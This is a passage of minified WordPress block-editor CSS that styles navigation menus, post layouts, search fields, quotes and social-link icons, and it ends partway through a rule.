.wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-left:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;left:-1px;opacity:0;overflow:hidden;position:absolute;top:100%;visibility:hidden;width:0;z-index:2}@media not (prefers-reduced-motion){.wp-block-navigation .has-child .wp-block-navigation__submenu-container{transition:opacity .1s linear}}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:auto;margin-right:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-align:left;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:0;padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-left),20rem);z-index:100000}@media not (prefers-reduced-motion){.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-author-biography{box-sizing:border-box}:where(.wp-block-post-comments-form) input:not([type=submit]),:where(.wp-block-post-comments-form) textarea{border:1px solid #949494;font-family:inherit;font-size:1em}:where(.wp-block-post-comments-form) input:where(:not([type=submit]):not([type=checkbox])),:where(.wp-block-post-comments-form) textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form :where(input[type=submit]){box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments-count{box-sizing:border-box}.wp-block-post-content{display:flow-root}.wp-block-post-comments-link,.wp-block-post-date{box-sizing:border-box}:where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-time-to-read,.wp-block-post-title{box-sizing:border-box}.wp-block-post-title{word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}.wp-block-post-author-name{box-sizing:border-box}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-pullquote{box-sizing:border-box;margin:0 0 1em;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.has-text-align-center blockquote{text-align:center}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit;display:block}.wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block-query-title,.wp-block-query-total,.wp-block-quote{box-sizing:border-box}.wp-block-quote{overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block}.wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0}.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right}.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px}.wp-block-site-tagline,.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}.wp-block-social-links{background:none;box-sizing:border-box;margin-left:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto}@media not (prefers-reduced-motion){.wp-block-social-link{transition:transform .1s ease}}.wp-block-social-link a{align-items:center;display:flex;line-height:0}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{background-color:#f0f0f0;color:#444}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{background-color:#f90;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{background-color:#0757fe;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{background-color:#0a7aff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{background-color:#5865f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{background-color:#f45800;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{background-color:#0866ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{background-color:#0461dd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{background-color:#e65678;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{background-color:#24292d;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}:where(.wp-block-social-links:not(.is-style-logos-only)) 